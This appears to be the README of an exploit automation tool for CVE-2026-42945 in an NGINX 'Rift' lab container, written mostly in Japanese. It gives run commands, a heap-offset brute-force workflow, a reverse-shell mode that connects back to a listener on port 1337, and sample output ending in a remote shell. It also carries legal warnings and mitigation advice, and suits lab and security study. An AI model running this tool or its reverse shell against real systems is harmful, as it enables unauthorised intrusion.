
NGINXコンテナにおけるCVE-2026-42945の悪用を自動化します:脆弱なターゲットを検証し、ヒープオフセットをブルートフォースし、コマンドを実行し、インタラクティブなリバースシェルを開きます。
nginx-rift コンテナのRCEエクスプロイト用 PoC Automation Driver · ターゲット検証 → シングルコマンドエクスプロイト → 対話型リバースシェル
1つのコマンドが、コンテナ確認からシェル取得までのエクスプロイト全体の流れをオーケストレーションします。
⚠️ 倫理的・法的警告 このツールは正当かつ許可を得たセキュリティテスト専用です — 契約済みのペンテスト、ラボ/CTF、または自己所有の資産。システム所有者の許可なく使用することは犯罪行為となります(ITE法、Computer Fraud and Abuse Act など)。使用はすべて利用者の責任です。
CVE-2026-42945 は、NGINX "Rift" 構成における*リモートコード実行(RCE)*の脆弱性です — 特定の location ブロック(/api/users/...)によって引き起こされる、ngx_http_rewrite_module モジュールのヒープベースのバッファオーバーフローバグです。影響として、攻撃者はコンテナ内の system() ハンドラを介してコマンドを実行できます。
このリポジトリには2つのコンポーネントが含まれています:
| ファイル | 機能 |
|---|---|
poc.py | Exploit ドライバ — ヒープオフセットのブルートフォース、2つのモード: --cmd(単一コマンド)& --shell(リバースシェル) |
scan.sh | 自動化オーケストレータ — ターゲット検証、PoC 実行、結果検証、および対話型シェルセッション |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
オペレーター(スクリプトを実行するホスト):
docker(sudo または docker グループのユーザー)python3 + poc.py(scan.sh と同じディレクトリにあること)curl、nc(netcat)、timeout(coreutils)ターゲット(ラボ):
nginx-rift が起動している(docker compose でプロビジョニング済み)19321 が 127.0.0.1 で開放されている172.17.0.1)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh と poc.py は同じディレクトリに置く必要があります。
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto モード(デフォルト)--cmd — コンテナ内の /tmp/pwned にマーカー hello from depthfirst を書き込む(自動リトライ最大3回、タイムアウト300秒/試行)。docker exec cat /tmp/pwned にマーカーが含まれている必要がある(出力を読むだけではなく、グラウンドトゥルース確認)。y で対話型セッション。shell モード./scan.sh shell
リスナー 172.17.0.1:1337 で poc.py --shell を実行します。ブルートフォースが成功すると、コンテナ内で NGINX worker ユーザーとして対話型の /bin/sh プロンプトが得られます。
注意: IP
172.17.0.1は Docker デフォルトブリッジ上のホストアドレスです。ブリッジが異なる場合(docker network inspect bridge)、scan.sh上部のLISTEN_IP変数を変更してください。
すべてのパラメータは scan.sh 上部の設定ブロックにまとめられています:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module を修正したバージョンにアップグレード / Rift 構成を削除。0.0.0.0 に公開しない;内部ネットワーク + WAF 付きリバースプロキシを使用。--privileged でコンテナを実行しない。/api/users/ への不審なリクエスト(非数値パターン、長いペイロード)をアラートし、nginx プロセスからの /bin/sh 起動を検出。CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
正当な使用のみを対象としています。 このツールは以下を目的としています:
このツールをどのようなインフラストラクチャで実行する場合も、システム所有者からの書面による許可が必須です。
本リポジトリは、いかなる保証もなく「現状のまま」提供されます。コントリビューターは不正使用について一切責任を負いません。
ライセンス: MIT
| 項目 | 詳細 |
|---|
| CVE | CVE-2026-42945 |
| タイプ | Remote Code Execution(RCE) |
| コンポーネント | NGINX(ngx_http_rewrite_module)— "Rift" 構成 |
| トリガー | 脆弱な location ブロック(/api/users/{id})へのリクエスト |
| 影響 | コンテナ内で NGINX worker ユーザーとして任意のコマンドを実行 |
| ラボ環境 | コンテナ nginx-rift-nginx-1 — ホストポート 19321 |
| 変数 | デフォルト | 機能 |
|---|
DOCKER | sudo docker | ユーザーが docker グループに属している場合は docker に変更 |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | コンテナ識別用フィルター |
CONTAINER | nginx-rift-nginx-1 | ターゲットコンテナ名 |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | ターゲットアドレス |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | リバースシェル用リスナー |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | 実行の検証 |
CMD_TIMEOUT | 300 | 試行ごとの制限時間(秒) |
MAX_ATTEMPTS | 3 | PoC --cmd のリトライ回数 |
| 問題 | 解決策 |
|---|
Container ... tidak berjalan | cd <project-dir> && sudo docker compose up -d を実行し、再試行する |
HTTP 000 / connection refused | ポート 19321 の準備がまだ — 数秒待って docker ps で確認 |
File 'poc.py' tidak ditemukan | scan.sh をリポジトリディレクトリから実行(poc.py と同じディレクトリに置く) |
PoC --cmd が連続して失敗する(3回) | MAX_ATTEMPTS / CMD_TIMEOUT を上げる;カーネルと NGINX バージョンがラボと一致していることを確認 |
| リバースシェルが接続しない | LISTEN_IP がブリッジと一致しているか確認(docker network inspect bridge);ポート 1337 が使用されていないことを確認 |
エラー unrecognized arguments | poc.py のバージョンが --listen-ip/--listen-port フラグをサポートしているか確認(python3 poc.py -h を参照) |